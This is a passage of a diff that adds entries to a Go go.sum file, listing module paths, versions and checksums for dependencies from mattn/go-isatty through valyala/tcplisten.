+github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
+github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
+github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
+github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
+github.com/mattn/go-shellwords v0.0.0-20190425161501-2444a32a19f4/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
+github.com/mattn/go-sqlite3 v1.12.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
+github.com/mattn/goveralls v0.0.2/go.mod h1:8d1ZMHsd7fW6IRPKQh46F2WRpyib5/X4FOpevwGNQEw=
+github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU=
+github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
+github.com/mediocregopher/mediocre-go-lib v0.0.0-20181029021733-cb65787f37ed/go.mod h1:dSsfyI2zABAdhcbvkXqgxOxrCsbYeHCPgrZkku60dSg=
+github.com/mediocregopher/radix/v3 v3.3.0/go.mod h1:EmfVyvspXz1uZEyPBMyGK+kjWiKQGvsUt6O3Pj+LDCQ=
+github.com/microcosm-cc/bluemonday v1.0.2/go.mod h1:iVP4YcDBq+n/5fb23BhYFvIMq/leAFZyRl6bYmGDlGc=
+github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
+github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
+github.com/mitchellh/copystructure v1.0.0 h1:Laisrj+bAB6b/yJwB5Bt3ITZhGJdqmxquMKeZ+mmkFQ=
+github.com/mitchellh/copystructure v1.0.0/go.mod h1:SNtv71yrdKgLRyLFxmLdkAbkKEFWgYaq1OVrnRcwhnw=
+github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
+github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
+github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
+github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
+github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
+github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
+github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/mitchellh/reflectwalk v1.0.0 h1:9D+8oIskB4VJBN5SFlmc27fSlIBZaov1Wpk/IfikLNY=
+github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
+github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
+github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
+github.com/moul/http2curl v1.0.0/go.mod h1:8UbvGypXm98wA/IqH45anm5Y2Z6ep6O31QGOAZ3H0fQ=
+github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
+github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
+github.com/nats-io/jwt v0.3.0/go.mod h1:fRYCDE99xlTsqUzISS1Bi75UBJ6ljOJQOAAu5VglpSg=
+github.com/nats-io/jwt v0.3.2/go.mod h1:/euKqTS1ZD+zzjYrY7pseZrTtWQSjujC7xjPc8wL6eU=
+github.com/nats-io/nats-server/v2 v2.1.2/go.mod h1:Afk+wRZqkMQs/p45uXdrVLuab3gwv3Z8C4HTBu8GD/k=
+github.com/nats-io/nats.go v1.8.1/go.mod h1:BrFz9vVn0fU3AcH9Vn4Kd7W0NpJ651tD5omQ3M8LwxM=
+github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzEE/Zbp4w=
+github.com/nats-io/nkeys v0.0.2/go.mod h1:dab7URMsZm6Z/jp9Z5UGa87Uutgc2mVpXLC4B7TDb/4=
+github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
+github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
+github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
+github.com/oklog/oklog v0.3.2/go.mod h1:FCV+B7mhrz4o+ueLpx+KqkyXRGMWOYEvfiXtdGtbWGs=
+github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA=
+github.com/oklog/ulid/v2 v2.0.2 h1:r4fFzBm+bv0wNKNh5eXTwU7i85y5x+uwkxCUTNVQqLc=
+github.com/oklog/ulid/v2 v2.0.2/go.mod h1:mtBL0Qe/0HAx6/a4Z30qxVIAL1eQDweXq5lxOEiwQ68=
+github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
+github.com/olekukonko/tablewriter v0.0.1/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
+github.com/olekukonko/tablewriter v0.0.2/go.mod h1:rSAaSIOAGT9odnlyGlUfAJaoc5w2fSBUmeGDbRWPxyQ=
+github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.10.3 h1:OoxbjfXVZyod1fmWYhI7SEyaD8B00ynP3T+D5GiyHOY=
+github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/onsi/gomega v1.7.1 h1:K0jcRCwNQM3vFGh1ppMtDh/+7ApJrjldlX8fA0jDTLQ=
+github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
+github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
+github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis=
+github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=
+github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
+github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
+github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs=
+github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc=
+github.com/openzipkin-contrib/zipkin-go-opentracing v0.4.5/go.mod h1:/wsWhb9smxSfWAKL3wpBW7V8scJMt8N8gnaMCS9E/cA=
+github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw=
+github.com/openzipkin/zipkin-go v0.2.1/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
+github.com/openzipkin/zipkin-go v0.2.2/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
+github.com/otiai10/copy v1.0.1/go.mod h1:8bMCJrAqOtN/d9oyh5HR7HhLQMvcGMpGdwRDYsfOCHc=
+github.com/otiai10/curr v0.0.0-20150429015615-9b4961190c95/go.mod h1:9qAhocn7zKJG+0mI8eUu6xqkFDYS2kb2saOteoSB3cE=
+github.com/otiai10/curr v1.0.0/go.mod h1:LskTG5wDwr8Rs+nNQ+1LlxRjAtTZZjtJW4rMXl6j4vs=
+github.com/otiai10/mint v1.2.3/go.mod h1:YnfyPNhBvnY8bW4SGQHCs/aAFhkgySlMZbrF5U0bOVw=
+github.com/otiai10/mint v1.3.0/go.mod h1:F5AjcsTsWUqX+Na9fpHb52P8pcRX2CI6A3ctIT91xUo=
+github.com/pact-foundation/pact-go v1.0.4/go.mod h1:uExwJY4kCzNPcHRj+hCR/HBbOOIwwtUjcrb0b5/5kLM=
+github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
+github.com/pborman/getopt v0.0.0-20170112200414-7148bc3a4c30/go.mod h1:85jBQOZwpVEaDAr341tbn15RS4fCAsIst0qp7i8ex1o=
+github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
+github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
+github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac=
+github.com/philhofer/fwd v1.0.0 h1:UbZqGr5Y38ApvM/V/jEljVxwocdweyH+vmYvRPBnbqQ=
+github.com/philhofer/fwd v1.0.0/go.mod h1:gk3iGcWd9+svBvR0sR+KPcfE+RNWozjowpeBVG3ZVNU=
+github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc=
+github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
+github.com/pingcap/errors v0.11.4 h1:lFuQV/oaUMGcD2tqt+01ROSmJs75VG1ToEOkZIZ4nE4=
+github.com/pingcap/errors v0.11.4/go.mod h1:Oi8TUi2kEtXXLMJk9l1cGmz20kV3TaQ0usTwv5KuLY8=
+github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
+github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
+github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs=
+github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
+github.com/prometheus/client_golang v1.3.0/go.mod h1:hJaj2vgQTGQmVCsAACORcieXFeDPbaTKGT+JTgUa3og=
+github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=
+github.com/prometheus/client_golang v1.8.0 h1:zvJNkoCFAnYFNC24FV8nW4JdRJ3GIFcLbg65lL/JDcw=
+github.com/prometheus/client_golang v1.8.0/go.mod h1:O9VU6huf47PktckDQfMTX0Y8tY0/7TSWwj+ITvv0TnM=
+github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
+github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
+github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.1.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M=
+github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
+github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
+github.com/prometheus/common v0.7.0/go.mod h1:DjGbpBbp5NYNiECxcL/VnbXCCaQpKd3tt26CguLLsqA=
+github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo=
+github.com/prometheus/common v0.14.0 h1:RHRyE8UocrbjU+6UvRzwi6HjiDfxrrBU91TtbKzkGp4=
+github.com/prometheus/common v0.14.0/go.mod h1:U+gB1OBLb1lF3O42bTCL+FK18tX9Oar16Clt/msog/s=
+github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
+github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
+github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
+github.com/prometheus/procfs v0.0.3/go.mod h1:4A/X28fw3Fc593LaREMrKMqOKvUAntwMDaekg4FpcdQ=
+github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A=
+github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
+github.com/prometheus/procfs v0.2.0 h1:wH4vA7pcjKuZzjF7lM8awk4fnuJO6idemZXoKnULUx4=
+github.com/prometheus/procfs v0.2.0/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
+github.com/rafaeljusto/redigomock v0.0.0-20190202135759-257e089e14a1 h1:+kGqA4dNN5hn7WwvKdzHl0rdN5AEkbNZd0VjRltAiZg=
+github.com/rafaeljusto/redigomock v0.0.0-20190202135759-257e089e14a1/go.mod h1:JaY6n2sDr+z2WTsXkOmNRUfDy6FN0L6Nk7x06ndm4tY=
+github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
+github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
+github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/rogpeppe/go-internal v1.3.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
+github.com/rogpeppe/go-internal v1.4.0/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
+github.com/rubenv/sql-migrate v0.0.0-20191213152630-06338513c237/go.mod h1:rtQlpHw+eR6UrqaS3kX1VYeaCxzCVdimDS7g5Ln4pPc=
+github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
+github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
+github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
+github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
+github.com/ryszard/goskiplist v0.0.0-20150312221310-2dfbae5fcf46 h1:GHRpF1pTW19a8tTFrMLUcfWwyC0pnifVo2ClaLq+hP8=
+github.com/ryszard/goskiplist v0.0.0-20150312221310-2dfbae5fcf46/go.mod h1:uAQ5PCi+MFsC7HjREoAz1BU+Mq60+05gifQSsHSDG/8=
+github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E=
+github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
+github.com/sebest/xff v0.0.0-20160910043805-6c115e0ffa35 h1:eajwn6K3weW5cd1ZXLu2sJ4pvwlBiCWY4uDejOr73gM=
+github.com/sebest/xff v0.0.0-20160910043805-6c115e0ffa35/go.mod h1:wozgYq9WEBQBaIJe4YZ0qTSFAMxmcwBhQH0fO0R34Z0=
+github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=
+github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
+github.com/shabbyrobe/gocovmerge v0.0.0-20180507124511-f6ea450bfb63/go.mod h1:n+VKSARF5y/tS9XFSP7vWDfS+GUC5vs/YT7M5XDTUEM=
+github.com/shabbyrobe/gocovmerge v0.0.0-20190829150210-3e036491d500 h1:WnNuhiq+FOY3jNj6JXFT+eLN3CQ/oPIsDPRanvwsmbI=
+github.com/shabbyrobe/gocovmerge v0.0.0-20190829150210-3e036491d500/go.mod h1:+njLrG5wSeoG4Ds61rFgEzKvenR2UHbjMoDHsczxly0=
+github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
+github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
+github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88=
+github.com/sirupsen/logrus v1.7.0 h1:ShrD1U9pZB12TX0cVy0DtePoCH97K8EtX+mg7ZARUtM=
+github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
+github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM=
+github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
+github.com/smartystreets/goconvey v1.6.4 h1:fv0U8FUIMPNf1L9lnHLvLhgicrIVChEkdzIKYqbNC9s=
+github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
+github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
+github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY=
+github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
+github.com/spf13/afero v1.2.1/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk=
+github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
+github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
+github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
+github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
+github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
+github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
+github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
+github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
+github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
+github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/tinylib/msgp v1.0.2 h1:DfdQrzQa7Yh2es9SuLkixqxuXS2SxsdYn0KbdrOGWD8=
+github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
+github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
+github.com/uber-go/atomic v1.3.2 h1:Azu9lPBWRNKzYXSIwRfgRuDuS0YKsK4NFhiQv98gkxo=
+github.com/uber-go/atomic v1.3.2/go.mod h1:/Ct5t2lcmbJ4OSe/waGBoaVvVqtO0bmtfVNex1PFV8g=
+github.com/uber/jaeger-client-go v2.15.0+incompatible h1:NP3qsSqNxh8VYr956ur1N/1C1PjvOJnJykCzcD5QHbk=
+github.com/uber/jaeger-client-go v2.15.0+incompatible/go.mod h1:WVhlPFC8FDjOFMMWRy2pZqQJSXxYSwNYOkTr/Z6d3Kk=
+github.com/uber/jaeger-lib v1.5.0 h1:OHbgr8l656Ub3Fw5k9SWnBfIEwvoHQ+W2y+Aa9D1Uyo=
+github.com/uber/jaeger-lib v1.5.0/go.mod h1:ComeNDZlWwrWnDv8aPp0Ba6+uUTzImX/AauajbLI56U=
+github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=
+github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
+github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
+github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
+github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA=
+github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+github.com/urfave/negroni v1.0.0/go.mod h1:Meg73S6kFm/4PpbYdq35yYWoCZ9mS/YSx+lKnmiohz4=
+github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
+github.com/valyala/fasthttp v1.6.0/go.mod h1:FstJa9V+Pj9vQ7OJie2qMHdwemEDaDiSdBnvPM1Su9w=
+github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8=
+github.com/valyala/tcplisten v0.0.0-20161114210144-ceec8f93295a/go.mod h1:v3UYOV9WzVtRmSR+PDvWpU/qWl4Wa5LApYYX4ZtKbio=
